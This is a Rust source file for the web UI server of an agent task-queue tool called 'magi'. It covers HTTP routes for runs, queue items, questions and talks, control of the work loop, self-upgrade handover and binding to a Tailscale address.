1use std::collections::{HashMap, HashSet};
94use std::convert::Infallible;
95use std::net::{IpAddr, Ipv4Addr, SocketAddr};
96use std::path::{Path as FsPath, PathBuf};
97use std::pin::Pin;
98use std::sync::{Arc, Mutex, MutexGuard, PoisonError};
99use std::time::Duration;
100use tokio::sync::Notify;
101
102use anyhow::{Context, Result};
103use axum::Json;
104use axum::Router;
105use axum::body::Bytes;
106use axum::extract::rejection::JsonRejection;
107use axum::extract::{DefaultBodyLimit, Path, Query, State};
108use axum::http::{HeaderMap, HeaderValue, StatusCode, header};
109use axum::response::sse::{Event, KeepAlive, Sse};
110use axum::response::{IntoResponse, Response};
111use axum::routing::{get, post, put};
112use jiff::Timestamp;
113use serde::{Deserialize, Serialize};
114use tokio_stream::StreamExt as _;
115use tokio_stream::wrappers::ReceiverStream;
116
117use crate::agent;
118use crate::ask::{self, Answer, Question, Questions};
119use crate::config::{AgentKind, Config, Update, UpdateMode};
120use crate::md;
121use crate::notices::{Notice, Notices};
122use crate::persona;
123use crate::proc::Quiet as _;
124use crate::queue::{Queue, Source, Task, TaskStatus, title_from};
125use crate::run::{RunState, RunStatus};
126use crate::talk::{Talk, Talks};
127use crate::{daemon, git, report, repos, run, settings, stats, talk, updater};
128
129pub const DEFAULT_PORT: u16 = 7878;
131
132const POLL: Duration = Duration::from_secs(1);
134
135const KEEPALIVE: Duration = Duration::from_secs(15);
139
140const UPDATE_RECHECK_POLL_MAX: Duration = Duration::from_secs(15 * 60);
151
152const UPDATE_RECHECK_POLL_MIN: Duration = Duration::from_secs(30);
155
156const LIST_DEFAULT: usize = 50;
160const LIST_MAX: usize = 500;
162
163const TITLE_MAX: usize = 72;
165
166const ATTACHMENT_MAX_BYTES: usize = 10 * 1024 * 1024;
175
176const ATTACHMENT_MIME_WHITELIST: [&str; 4] = ["image/png", "image/jpeg", "image/gif", "image/webp"];
182
183const FILENAME_HEADER: &str = "x-filename";
187
188const PANEL_CSP: &str = "default-src 'none'; img-src 'self' data:; style-src 'unsafe-inline'; \
211 font-src data:; base-uri 'none'; form-action 'none'; \
212 frame-ancestors 'self'";
213
214const INDEX_HTML: &str = include_str!("../assets/ui/index.html");
215const APP_CSS: &str = include_str!("../assets/ui/app.css");
216const APP_JS: &str = include_str!("../assets/ui/app.js");
217
218#[derive(Debug, Clone, Copy, PartialEq, Eq)]
220pub enum Bind {
221 Auto,
223 Addr(IpAddr),
225}
226
227impl std::str::FromStr for Bind {
228 type Err = String;
229
230 fn from_str(s: &str) -> std::result::Result<Self, Self::Err> {
234 if s.eq_ignore_ascii_case("auto") {
235 return Ok(Self::Auto);
236 }
237 s.parse()
238 .map(Self::Addr)
239 .map_err(|_| format!("expected `auto` or an IP address, got `{s}`"))
240 }
241}
242
243impl std::fmt::Display for Bind {
244 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
245 match self {
246 Self::Auto => f.write_str("auto"),
247 Self::Addr(addr) => write!(f, "{addr}"),
248 }
249 }
250}
251
252#[derive(Debug, Clone)]
254pub struct Opts {
255 pub bind: Bind,
257 pub port: u16,
259 pub repo: PathBuf,
261 pub open: bool,
264 pub merge: Option<String>,
272}
273
274impl Default for Opts {
275 fn default() -> Self {
276 Self {
277 bind: Bind::Auto,
278 port: DEFAULT_PORT,
279 repo: PathBuf::from("."),
280 open: false,
281 merge: None,
282 }
283 }
284}
285
286#[derive(Debug, Clone)]
292pub struct Ui {
293 queue: Queue,
294 questions: Questions,
295 notices: Notices,
298 talks: Talks,
299 runs: PathBuf,
300 home: PathBuf,
301 repo: PathBuf,
302 worktrees_root: PathBuf,
309 talk_turns: Arc<Mutex<TalkTurns>>,
317 resuming: Arc<Mutex<HashSet<String>>>,
325 repos_cache: repos::Cache,
329 machine_config: Option<PathBuf>,
333 merge: Option<String>,
335 looping: Arc<Mutex<LoopState>>,
337 launch: Launch,
349 #[cfg(test)]
352 busy_queue_gate: Arc<Mutex<Option<BusyQueueGate>>>,
353}
354
355#[cfg(test)]
375struct BusyQueueGate {
376 reached: tokio::sync::oneshot::Sender<()>,
377 release: std::sync::mpsc::Receiver<()>,
378}
379
380#[cfg(test)]
381impl std::fmt::Debug for BusyQueueGate {
382 fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
383 f.debug_struct("BusyQueueGate").finish_non_exhaustive()
384 }
385}
386
387impl Ui {
388 pub fn new(
390 queue: Queue,
391 questions: Questions,
392 talks: Talks,
393 runs: PathBuf,
394 home: PathBuf,
395 repo: PathBuf,
396 ) -> Self {
397 Self {
398 queue,
399 questions,
400 notices: Notices::at(home.join("notifications")),
401 talks,
402 runs,
403 home,
404 repo,
405 worktrees_root: run::default_worktree_root(),
409 talk_turns: Arc::default(),
410 resuming: Arc::default(),
411 repos_cache: repos::Cache::new(),
412 machine_config: Config::machine_layer(),
413 merge: None,
414 looping: Arc::default(),
415 launch: launch_daemon,
416 #[cfg(test)]
417 busy_queue_gate: Arc::default(),
418 }
419 }
420
421 pub fn open(repo: PathBuf) -> Self {
424 Self::new(
425 Queue::open(),
426 Questions::open(),
427 Talks::open(),
428 run::runs_root(),
429 run::home(),
430 repo,
431 )
432 }
433
434 #[must_use]
441 pub fn with_merge(mut self, merge: Option<String>) -> Self {
442 self.merge = merge;
443 self
444 }
445
446 #[cfg(test)]
449 #[must_use]
450 fn with_machine_config(mut self, path: Option<PathBuf>) -> Self {
451 self.machine_config = path;
452 self
453 }
454
455 #[must_use]
460 pub fn with_worktrees_root(mut self, root: PathBuf) -> Self {
461 self.worktrees_root = root;
462 self
463 }
464
465 #[cfg(test)]
470 #[must_use]
471 fn with_launch(mut self, launch: Launch) -> Self {
472 self.launch = launch;
473 self
474 }
475
476 #[cfg(test)]
486 fn set_busy_queue_gate(&self, gate: BusyQueueGate) {
487 *self
488 .busy_queue_gate
489 .lock()
490 .unwrap_or_else(PoisonError::into_inner) = Some(gate);
491 }
492
493 fn looping(&self) -> Arc<Mutex<LoopState>> {
495 Arc::clone(&self.looping)
496 }
497
498 fn start_loop(&self, foreign: Option<Foreign>) -> ApiResult<()> {
505 if let Some(other) = foreign {
506 return Err(ApiError::conflict(format!(
507 "{} is already running the loop, so this one will not start a \
508 second: two loops on one queue race for the same claims and \
509 burn the agent quota twice over. Stop it where it was \
510 started.",
511 other.who()
512 )));
513 }
514 let mut state = self.lock_loop();
515 if state.live.as_ref().is_some_and(Live::alive) {
516 return Err(ApiError::conflict(format!(
517 "this magi web process (pid {}) is already running the loop",
518 std::process::id()
519 )));
520 }
521
522 let stop = daemon::Stop::new();
523 let opts = daemon::Opts {
527 repo: self.repo.clone(),
528 merge: self.merge.clone(),
529 worktrees_root: Some(self.worktrees_root.clone()),
536 ..daemon::Opts::default()
537 };
538 let launch = self.launch;
539 let looping = Arc::clone(&self.looping);
540 let handle = tokio::spawn({
541 let opts = opts.clone();
542 let stop = stop.clone();
543 async move {
544 let failure = match launch(opts, stop).await {
545 Ok(()) => None,
546 Err(e) => Some(format!("{e:#}")),
547 };
548 match &failure {
549 Some(why) => tracing::error!("the loop stopped: {why}"),
550 None => tracing::info!("the loop stopped"),
551 }
552 let mut state = lock_or_recover(&looping);
558 state.live = None;
559 state.last_error = failure;
560 state.rev += 1;
561 }
562 });
563 tracing::info!(
564 "the loop is now running in this process: repo {}, merge {}",
565 opts.repo.display(),
566 opts.merge.as_deref().unwrap_or("as the config says")
567 );
568 state.live = Some(Live { stop, handle, opts });
569 state.last_error = None;
572 state.rev += 1;
573 Ok(())
574 }
575
576 fn stop_loop(&self, foreign: Option<Foreign>, park: bool) -> ApiResult<()> {
582 if let Some(other) = foreign {
583 return Err(ApiError::conflict(format!(
584 "the loop belongs to {}, and this process cannot stop it - \
585 stop it where it was started. A button that silently did \
586 nothing would be worse than this refusal.",
587 other.who()
588 )));
589 }
590 let mut state = self.lock_loop();
591 if !park {
594 state.resume_after_handover = false;
595 }
596 let Some(live) = state.live.as_ref() else {
597 return Ok(());
598 };
599 if live.stop.stopped() && (!park || live.stop.parking()) {
603 return Ok(());
604 }
605 if park {
606 live.stop.park();
607 tracing::info!("the loop was asked to park; the run stops at its next node boundary");
608 } else {
609 live.stop.stop();
610 tracing::info!("the loop was asked to stop; a run in flight is finished first");
611 }
612 state.rev += 1;
613 Ok(())
614 }
615
616 fn loop_view(&self, reading: Option<daemon::Reading>) -> LoopView {
623 let state = self.lock_loop();
624 let live = state.live.as_ref().filter(|live| live.alive());
627 LoopView {
628 running: live.is_some(),
629 stopping: live.is_some_and(|live| live.stop.finishing()),
630 parking: live.is_some_and(|live| live.stop.parking()),
631 owned: live.is_some(),
632 repo: live
633 .map_or(&self.repo, |live| &live.opts.repo)
634 .display()
635 .to_string(),
636 merge: live.map_or_else(|| self.merge.clone(), |live| live.opts.merge.clone()),
637 last_error: state.last_error.clone(),
638 daemon: DaemonView::of(reading),
639 }
640 }
641
642 fn resume_after_handover(&self, resume: bool) -> bool {
648 if !resume {
649 return false;
650 }
651 let foreign = Foreign::of(daemon::read_status(&self.home).as_ref());
652 match self.start_loop(foreign) {
653 Ok(()) => true,
654 Err(e) => {
655 let why = format!(
656 "the loop could not be resumed after the upgrade: {}",
657 e.message
658 );
659 tracing::warn!("{why}");
660 let mut state = self.lock_loop();
661 state.last_error = Some(why);
662 state.rev += 1;
663 false
664 }
665 }
666 }
667
668 fn lock_loop(&self) -> MutexGuard<'_, LoopState> {
670 lock_or_recover(&self.looping)
671 }
672
673 fn is_thinking(&self, id: &str) -> bool {
679 self.talk_turns
680 .lock()
681 .is_ok_and(|turns| turns.live.contains(id))
682 || self.talks.turn_held(id)
685 }
686
687 fn begin_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
706 self.claim_talk_turn(id, false)
707 }
708
709 fn begin_queued_talk_turn(&self, id: &str) -> ApiResult<Option<TalkTurnGuard>> {
712 self.claim_talk_turn(id, true)
713 }
714
715 fn claim_talk_turn(&self, id: &str, queued: bool) -> ApiResult<Option<TalkTurnGuard>> {
716 let mut live = self
717 .talk_turns
718 .lock()
719 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
720 let inserted = live.live.insert(id.to_owned());
721 let lease = if inserted {
725 match self.talks.claim_turn(id) {
726 Ok(Some(lease)) => Some(lease),
727 Ok(None) => {
728 live.live.remove(id);
729 None
730 }
731 Err(e) => {
732 live.live.remove(id);
733 return Err(ApiError::from(e));
734 }
735 }
736 } else {
737 None
738 };
739 if lease.is_none() {
740 if queued {
741 *live.queued.entry(id.to_owned()).or_default() += 1;
746 }
747 return Ok(None);
748 }
749 Ok(Some(TalkTurnGuard {
750 talk: id.to_owned(),
751 turns: Arc::clone(&self.talk_turns),
752 released: false,
753 lease,
754 }))
755 }
756
757 fn begin_talk_turn_unless_pending(&self, id: &str) -> ApiResult<TalkTurnStart> {
762 let mut live = self
763 .talk_turns
764 .lock()
765 .map_err(|_| ApiError::internal("the talk turn lock was poisoned"))?;
766 if live.live.contains(id) {
767 return Ok(TalkTurnStart::Busy);
768 }
769 let Some(lease) = self.talks.claim_turn(id).map_err(ApiError::from)? else {
770 return Ok(TalkTurnStart::Foreign);
771 };
772 let talk = self.talks.get(id).map_err(ApiError::from)?;
774 if !talk.pending.is_empty() || !talk.pending_attachments.is_empty() {
775 return Ok(TalkTurnStart::Pending);
776 }
777 live.live.insert(id.to_owned());
778 Ok(TalkTurnStart::Claimed(TalkTurnGuard {
779 talk: id.to_owned(),
780 turns: Arc::clone(&self.talk_turns),
781 released: false,
782 lease: Some(lease),
783 }))
784 }
785
786 fn park_for_upgrade(&self) -> ApiResult<Option<String>> {
793 let parking = {
794 let mut state = self.lock_loop();
795 let resume = state.resume_after_handover
805 || state
806 .live
807 .as_ref()
808 .is_some_and(|live| live.alive() && !live.stop.stopped());
809 state.resume_after_handover = resume;
810 let Some(live) = state.live.as_ref() else {
811 return Ok(None);
812 };
813 let busy = live.stop.busy_now();
814 live.stop.park();
815 state.rev += 1;
816 busy
817 };
818 Ok(if parking {
819 daemon::current_work(&self.home, jiff::Timestamp::now())
824 .into_iter()
825 .next()
826 .map(|c| c.run)
827 } else {
828 None
829 })
830 }
831
832 fn begin_resume(&self, id: &str) -> ApiResult<ResumeGuard> {
836 let mut live = self
837 .resuming
838 .lock()
839 .map_err(|_| ApiError::internal("the resume lock was poisoned"))?;
840 if !live.insert(id.to_owned()) {
841 return Err(ApiError::conflict(format!(
842 "run {id} is already being resumed"
843 )));
844 }
845 Ok(ResumeGuard {
846 run: id.to_owned(),
847 resuming: Arc::clone(&self.resuming),
848 })
849 }
850
851 pub fn router(self) -> Router {
859 Router::new()
860 .route("/", get(index))
861 .route("/app.css", get(app_css))
862 .route("/app.js", get(app_js))
863 .route("/api/health", get(health))
864 .route("/api/loop", get(loop_get).post(loop_post))
865 .route("/api/upgrade", post(upgrade_post))
866 .route("/api/runs", get(runs_list))
867 .route("/api/runs/{id}", get(run_detail).delete(run_delete))
868 .route("/api/runs/{id}/report", get(run_report))
869 .route("/api/runs/{id}/report.json", get(run_report_json))
870 .route("/api/runs/{id}/fold", post(run_fold))
871 .route("/api/runs/{id}/fold-merged", post(run_fold_merged))
872 .route("/api/runs/{id}/resume", post(run_resume))
873 .route("/api/queue", get(queue_list))
874 .route("/api/search", get(search_get))
875 .route("/api/queue/{id}", get(task_detail).delete(queue_delete))
876 .route("/api/stats", get(stats_get))
877 .route("/api/repos", get(repos_list))
878 .route("/api/settings", get(settings_get))
879 .route("/api/settings/roles", put(settings_put_roles))
880 .route("/api/queue/{id}/hold", post(queue_hold))
881 .route("/api/queue/{id}/release", post(queue_release))
882 .route("/api/queue/{id}/priority", post(queue_priority))
883 .route("/api/queue/{id}/edit", post(queue_edit))
884 .route("/api/queue/{id}/done", post(queue_done))
885 .route("/api/questions", get(questions_list))
886 .route("/api/questions/{id}/answer", post(question_answer))
887 .route("/api/questions/{id}/say", post(question_say))
888 .route("/api/questions/{id}/consult", post(question_consult))
889 .route("/api/questions/{id}/panel", get(question_panel))
890 .route("/api/questions/{id}/panel/index.html", get(question_panel))
898 .route("/api/questions/{id}/panel/{name}", get(question_asset))
899 .route("/api/questions/{id}/asset/{name}", get(question_asset))
900 .route("/api/notifications", get(notifications_list))
901 .route("/api/notifications/read-all", post(notifications_read_all))
902 .route("/api/notifications/{id}/read", post(notification_read))
903 .route(
904 "/api/notifications/{id}/dismiss",
905 post(notification_dismiss),
906 )
907 .route("/api/talks", get(talks_list).post(talk_post))
908 .route("/api/talks/{id}", get(talk_detail).delete(talk_delete))
909 .route("/api/talks/{id}/say", post(talk_say))
910 .route("/api/talks/{id}/pending/resume", post(talk_pending_resume))
911 .route("/api/talks/{id}/pending/clear", post(talk_pending_clear))
912 .route("/api/talks/{id}/pending/edit", post(talk_pending_edit))
913 .route("/api/talks/{id}/agent", post(talk_agent))
914 .route("/api/talks/{id}/persona", post(talk_persona))
915 .route("/api/talks/{id}/close", post(talk_close))
916 .route("/api/talks/{id}/reopen", post(talk_reopen))
917 .route(
923 "/api/talks/{id}/attachments",
924 post(talk_attachment_post).layer(DefaultBodyLimit::max(ATTACHMENT_MAX_BYTES + 1)),
925 )
926 .route(
927 "/api/talks/{id}/attachments/{att}",
928 get(talk_attachment_get),
929 )
930 .route("/api/events", get(events))
931 .with_state(Arc::new(self))
932 }
933}
934
935#[derive(Debug)]
941struct TalkTurnGuard {
942 talk: String,
943 turns: Arc<Mutex<TalkTurns>>,
944 released: bool,
945 lease: Option<crate::talk::TurnLease>,
947}
948
949#[derive(Debug, Default)]
956struct TalkTurns {
957 live: HashSet<String>,
958 queued: HashMap<String, u64>,
959}
960
961enum TalkTurnStart {
964 Claimed(TalkTurnGuard),
965 Busy,
966 Foreign,
969 Pending,
970}
971
972impl TalkTurnGuard {
973 fn owns(&self) -> bool {
977 self.lease
978 .as_ref()
979 .is_none_or(|lease| !matches!(lease.beat(), Ok(false)))
980 }
981
982 async fn respond(
985 &self,
986 talk: &mut Talk,
987 talks: &Talks,
988 cfg: &Config,
989 text: &str,
990 ) -> anyhow::Result<()> {
991 let lease = self
992 .lease
993 .as_ref()
994 .context("the turn guard no longer holds its lease")?;
995 talk::respond(lease, talk, talks, cfg, text).await
996 }
997
998 fn release(mut self, live: &mut TalkTurns) {
1001 live.live.remove(&self.talk);
1002 live.queued.remove(&self.talk);
1003 self.lease = None;
1004 self.released = true;
1005 }
1006}
1007
1008impl Drop for TalkTurnGuard {
1009 fn drop(&mut self) {
1010 if self.released {
1011 return;
1012 }
1013 if let Ok(mut live) = self.turns.lock() {
1014 live.live.remove(&self.talk);
1015 live.queued.remove(&self.talk);
1016 }
1017 }
1018}
1019
1020struct ResumeGuard {
1022 run: String,
1023 resuming: Arc<Mutex<HashSet<String>>>,
1024}
1025
1026impl Drop for ResumeGuard {
1027 fn drop(&mut self) {
1028 if let Ok(mut live) = self.resuming.lock() {
1029 live.remove(&self.run);
1030 }
1031 }
1032}
1033
1034async fn bind_waiting(socket: SocketAddr) -> Result<tokio::net::TcpListener> {
1044 const WINDOW: Duration = Duration::from_secs(10);
1045 const GAP: Duration = Duration::from_millis(250);
1046
1047 let deadline = std::time::Instant::now() + WINDOW;
1048 let mut said = false;
1049 loop {
1050 match tokio::net::TcpListener::bind(socket).await {
1051 Ok(listener) => return Ok(listener),
1052 Err(e)
1053 if e.kind() == std::io::ErrorKind::AddrInUse
1054 && std::time::Instant::now() < deadline =>
1055 {
1056 if !said {
1057 said = true;
1058 tracing::info!(
1059 "{socket} is still held - waiting up to {}s for it, \
1060 which is what a restart looks like from here",
1061 WINDOW.as_secs()
1062 );
1063 }
1064 tokio::time::sleep(GAP).await;
1065 }
1066 Err(e) => return Err(e).with_context(|| format!("bind {socket}")),
1067 }
1068 }
1069}
1070
1071static HANDOVER: std::sync::LazyLock<Notify> = std::sync::LazyLock::new(Notify::new);
1074
1075const RESUME_LOOP_ENV: &str = "MAGI_WEB_RESUME_LOOP";
1077
1078fn resume_requested(value: Option<std::ffi::OsString>) -> bool {
1080 value.is_some_and(|v| v == "1")
1081}
1082
1083fn spawn_successor(home: &FsPath, resume: bool) -> Result<u32> {
1106 let exe = std::env::current_exe().context("find this binary")?;
1107 let args: Vec<String> = std::env::args().skip(1).collect();
1108 updater::log_step(
1109 home,
1110 &format!("restarting: {} {}", exe.display(), args.join(" ")),
1111 );
1112 let log_path = home.join(WEB_LOG);
1113 let open_log = || {
1114 std::fs::create_dir_all(home)?;
1115 std::fs::OpenOptions::new()
1116 .create(true)
1117 .append(true)
1118 .open(&log_path)
1119 };
1120 let (out, err) = match open_log().and_then(|f| Ok((f.try_clone()?, f))) {
1121 Ok(pair) => (
1122 std::process::Stdio::from(pair.0),
1123 std::process::Stdio::from(pair.1),
1124 ),
1125 Err(e) => {
1126 updater::log_warn(
1127 home,
1128 &format!(
1129 "could not open {}: {e}; the successor logs nowhere",
1130 log_path.display()
1131 ),
1132 );
1133 (std::process::Stdio::null(), std::process::Stdio::null())
1134 }
1135 };
1136
1137 let mut cmd = std::process::Command::new(&exe);
1138 if resume {
1139 cmd.env(RESUME_LOOP_ENV, "1");
1140 } else {
1141 cmd.env_remove(RESUME_LOOP_ENV);
1142 }
1143 cmd.args(&args)
1144 .stdin(std::process::Stdio::null())
1145 .stdout(out)
1146 .stderr(err);
1147 #[cfg(windows)]
1148 {
1149 use std::os::windows::process::CommandExt as _;
1150 cmd.creation_flags(0x0000_0008 | 0x0000_0200);
1153 }
1154 let child = cmd.spawn().context("start the successor")?;
1155 Ok(child.id())
1156}
1157
1158const WEB_LOG: &str = "web.log";
1160
1161async fn wait_for_handover(signal: &Notify) {
1165 signal.notified().await;
1166}
1167
1168pub async fn serve(opts: Opts) -> Result<()> {
1193 let (addr, warning) = resolve_bind(&opts.bind);
1194 if let Some(warning) = warning {
1195 tracing::warn!("{warning}");
1196 }
1197
1198 report::set_color(false);
1204
1205 let repo = normalize_default_repo(opts.repo).await;
1206 let ui = Ui::open(repo).with_merge(opts.merge);
1207 let home = ui.home.clone();
1212 let repo = ui.repo.clone();
1213 updater::reconcile_after_restart(&home);
1218 updater::log_step(
1219 &home,
1220 &format!(
1221 "web process started (version {}); handover log {}, successor output {}",
1222 env!("CARGO_PKG_VERSION"),
1223 updater::log_path(&home).display(),
1224 home.join(WEB_LOG).display()
1225 ),
1226 );
1227 updater::spawn_watchdog(home.clone());
1228 tokio::spawn(run_update_recheck(repo, home.clone()));
1237 let looping = ui.looping();
1238 let socket = SocketAddr::new(addr, opts.port);
1239 let listener = bind_waiting(socket).await?;
1240 let url = format!("http://{addr}:{}", opts.port);
1241 tracing::info!(
1242 "magi web UI on {url} - there is no authentication, so anyone who can \
1243 reach this address can file and hold tasks: the tailnet is the \
1244 security boundary"
1245 );
1246 if ui.resume_after_handover(resume_requested(std::env::var_os(RESUME_LOOP_ENV))) {
1247 tracing::info!("resumed the loop the predecessor was running");
1248 } else {
1249 tracing::info!(
1250 "the queue loop is not running yet - start it from the UI, which is \
1251 the whole reason this process can: nothing in the queue moves until \
1252 something is running the loop"
1253 );
1254 }
1255 if opts.open {
1256 println!("{url}");
1260 }
1261
1262 let mut served = tokio::spawn(axum::serve(listener, ui.router()).into_future());
1265 let interrupted = async {
1266 if tokio::signal::ctrl_c().await.is_err() {
1267 std::future::pending::<()>().await;
1272 }
1273 };
1274 let handover = wait_for_handover(&HANDOVER);
1275 let outcome = tokio::select! {
1276 joined = &mut served => match joined {
1277 Ok(outcome) => outcome.context("serve the web UI"),
1278 Err(e) => Err(e).context("the task serving the web UI ended"),
1279 },
1280 () = interrupted => {
1281 tracing::info!("shutting down the web UI");
1282 finish_loop(&home, &looping).await;
1283 Ok(())
1284 }
1285 () = handover => {
1286 updater::log_step(&home, "serve: the select! woke on the handover signal");
1287 let successor_home = home.clone();
1288 hand_over(&home, &looping, served, move |resume| {
1289 spawn_successor(&successor_home, resume)
1290 })
1291 .await
1292 }
1293 };
1294 updater::log_step(
1295 &home,
1296 &match &outcome {
1297 Ok(()) => "serve: returning Ok; the process should exit now".to_owned(),
1298 Err(e) => format!("serve: returning an error: {e:#}"),
1299 },
1300 );
1301 outcome
1302}
1303
1304async fn normalize_default_repo(repo: PathBuf) -> PathBuf {
1325 if repo != FsPath::new(".") {
1326 return repo;
1327 }
1328 let Ok(canonical) = repo.canonicalize() else {
1329 return repo;
1330 };
1331 if git::toplevel(&canonical).await.is_ok() {
1332 return repo;
1333 }
1334 let Some(home) = dirs::home_dir() else {
1335 return repo;
1336 };
1337 match repos::discover_verified(&home, &[], None, updater::repo_name()).await {
1338 Some(found) => {
1339 tracing::info!(
1340 "the default --repo `.` ({}) is not a git checkout; using {} instead - {}",
1341 canonical.display(),
1342 found.path.display(),
1343 found.reason,
1344 );
1345 found.path
1346 }
1347 None => repo,
1348 }
1349}
1350
1351async fn hand_over(
1381 home: &FsPath,
1382 looping: &Mutex<LoopState>,
1383 served: tokio::task::JoinHandle<std::io::Result<()>>,
1384 successor: impl FnOnce(bool) -> Result<u32>,
1385) -> Result<()> {
1386 updater::log_step(home, "hand_over: entered; writing the parking stage");
1387 match updater::read_progress(home) {
1388 Some(mut progress) => {
1389 progress.advance(updater::Stage::Parking);
1390 updater::write_progress_logged(home, &progress);
1391 }
1392 None => updater::log_warn(
1393 home,
1394 "hand_over: upgrade.json is unreadable; no parking stage",
1395 ),
1396 }
1397 finish_loop(home, looping).await;
1398 updater::log_step(home, "hand_over: releasing the listener (abort and await)");
1399 served.abort();
1400 let _ = served.await;
1401 updater::log_step(home, "hand_over: listener released");
1402 let resume = lock_or_recover(looping).resume_after_handover;
1405 match updater::read_progress(home) {
1406 Some(mut progress) => {
1407 progress.advance(updater::Stage::Restarting);
1408 updater::write_progress_logged(home, &progress);
1409 }
1410 None => updater::log_warn(
1411 home,
1412 "hand_over: upgrade.json is unreadable; no restarting stage",
1413 ),
1414 }
1415 updater::log_step(
1416 home,
1417 &format!("hand_over: starting the successor (resume={resume})"),
1418 );
1419 match successor(resume) {
1420 Ok(pid) => {
1421 updater::log_step(home, &format!("hand_over: successor started, pid {pid}"));
1422 Ok(())
1423 }
1424 Err(e) => {
1425 updater::log_warn(
1426 home,
1427 &format!("hand_over: the successor did not start: {e:#}"),
1428 );
1429 Err(e)
1430 }
1431 }
1432}
1433
1434async fn finish_loop(home: &FsPath, state: &Mutex<LoopState>) {
1441 let live = lock_or_recover(state).live.take();
1442 let Some(live) = live else {
1443 updater::log_step(home, "finish_loop: no loop running; nothing to wait for");
1444 return;
1445 };
1446 live.stop.stop();
1447 lock_or_recover(state).rev += 1;
1448 updater::log_step(
1449 home,
1450 "finish_loop: waiting for the loop to finish the run in flight",
1451 );
1452 let waited = std::time::Instant::now();
1453 let _ = live.handle.await;
1456 updater::log_step(
1457 home,
1458 &format!(
1459 "finish_loop: the loop ended after {:.1}s",
1460 waited.elapsed().as_secs_f32()
1461 ),
1462 );
1463}
1464
1465pub fn resolve_bind(bind: &Bind) -> (IpAddr, Option<String>) {
1471 match bind {
1472 Bind::Addr(addr) => (*addr, None),
1473 Bind::Auto => match tailscale_ip() {
1474 Ok(ip) => (IpAddr::V4(ip), None),
1475 Err(why) => (
1476 IpAddr::V4(Ipv4Addr::LOCALHOST),
1477 Some(format!(
1478 "--bind auto fell back to 127.0.0.1: {why}. The UI is \
1479 local-only and a phone cannot reach it; start Tailscale \
1480 or pass --bind <addr>"
1481 )),
1482 ),
1483 },
1484 }
1485}
1486
1487fn tailscale_ip() -> std::result::Result<Ipv4Addr, String> {
1495 let out = std::process::Command::new("tailscale")
1496 .args(["ip", "-4"])
1497 .quiet()
1498 .output()
1499 .map_err(|e| format!("could not run `tailscale ip -4` ({e})"))?;
1500 if !out.status.success() {
1501 let why = String::from_utf8_lossy(&out.stderr);
1502 let why = why.trim();
1503 return Err(format!(
1504 "`tailscale ip -4` failed ({}){}",
1505 out.status,
1506 if why.is_empty() {
1507 String::new()
1508 } else {
1509 format!(": {why}")
1510 }
1511 ));
1512 }
1513 String::from_utf8_lossy(&out.stdout)
1514 .lines()
1515 .filter_map(|line| line.trim().parse::<Ipv4Addr>().ok())
1516 .find(is_tailnet)
1517 .ok_or_else(|| "`tailscale ip -4` printed no address in 100.64.0.0/10".to_owned())
1518}
1519
1520fn is_tailnet(ip: &Ipv4Addr) -> bool {
1522 let o = ip.octets();
1523 o[0] == 100 && (64..=127).contains(&o[1])
1524}
1525
1526type ApiResult<T> = std::result::Result<T, ApiError>;
1530
1531#[derive(Debug)]
1533struct ApiError {
1534 status: StatusCode,
1535 message: String,
1536}
1537
1538impl ApiError {
1539 fn bad_request(message: impl Into<String>) -> Self {
1541 Self {
1542 status: StatusCode::BAD_REQUEST,
1543 message: message.into(),
1544 }
1545 }
1546
1547 fn not_found(message: impl Into<String>) -> Self {
1549 Self {
1550 status: StatusCode::NOT_FOUND,
1551 message: message.into(),
1552 }
1553 }
1554
1555 fn with_status(mut self, status: StatusCode) -> Self {
1558 self.status = status;
1559 self
1560 }
1561
1562 fn bad_request_from(e: anyhow::Error) -> Self {
1566 Self::bad_request(format!("{e:#}"))
1567 }
1568
1569 fn conflict(message: impl Into<String>) -> Self {
1570 Self {
1571 status: StatusCode::CONFLICT,
1572 message: message.into(),
1573 }
1574 }
1575
1576 fn internal(message: impl Into<String>) -> Self {
1578 Self {
1579 status: StatusCode::INTERNAL_SERVER_ERROR,
1580 message: message.into(),
1581 }
1582 }
1583}
1584
1585impl From<anyhow::Error> for ApiError {
1586 fn from(e: anyhow::Error) -> Self {
1591 Self::internal(format!("{e:#}"))
1592 }
1593}
1594
1595impl IntoResponse for ApiError {
1596 fn into_response(self) -> Response {
1597 let body = serde_json::json!({ "error": self.message });
1598 (self.status, Json(body)).into_response()
1599 }
1600}
1601
1602async fn blocking<T>(job: impl FnOnce() -> ApiResult<T> + Send + 'static) -> ApiResult<T>
1611where
1612 T: Send + 'static,
1613{
1614 match tokio::task::spawn_blocking(job).await {
1615 Ok(result) => result,
1616 Err(e) => Err(ApiError::internal(format!("filesystem task failed: {e}"))),
1617 }
1618}
1619
1620const ASSET_CACHE: &str = "no-cache, must-revalidate";
1638
1639fn asset_etag() -> &'static str {
1646 static TAG: std::sync::LazyLock<String> = std::sync::LazyLock::new(|| {
1647 format!(
1648 "\"{}-{}\"",
1649 env!("CARGO_PKG_VERSION"),
1650 INDEX_HTML.len() + APP_CSS.len() + APP_JS.len()
1655 )
1656 });
1657 &TAG
1658}
1659
1660fn asset_headers(mime: &'static str) -> [(header::HeaderName, &'static str); 3] {
1662 [
1663 (header::CONTENT_TYPE, mime),
1664 (header::CACHE_CONTROL, ASSET_CACHE),
1665 (header::ETAG, asset_etag()),
1666 ]
1667}
1668
1669fn asset(headers: &header::HeaderMap, mime: &'static str, body: &'static str) -> Response {
1677 let tag = asset_etag();
1678 let known = headers
1679 .get(header::IF_NONE_MATCH)
1680 .and_then(|v| v.to_str().ok())
1681 .is_some_and(|sent| sent.split(',').any(|one| one.trim().ends_with(tag)));
1685 if known {
1686 return (StatusCode::NOT_MODIFIED, asset_headers(mime)).into_response();
1687 }
1688 (asset_headers(mime), body).into_response()
1689}
1690
1691async fn index(headers: header::HeaderMap) -> Response {
1692 asset(&headers, "text/html; charset=utf-8", INDEX_HTML)
1693}
1694
1695async fn app_css(headers: header::HeaderMap) -> Response {
1696 asset(&headers, "text/css; charset=utf-8", APP_CSS)
1697}
1698
1699async fn app_js(headers: header::HeaderMap) -> Response {
1700 asset(&headers, "text/javascript; charset=utf-8", APP_JS)
1701}
1702
1703#[derive(Debug, Serialize)]
1705struct HealthView {
1706 version: &'static str,
1707 home: String,
1708 queue_rev: u64,
1709 runs_rev: u64,
1710 questions_rev: u64,
1722 talks_rev: u64,
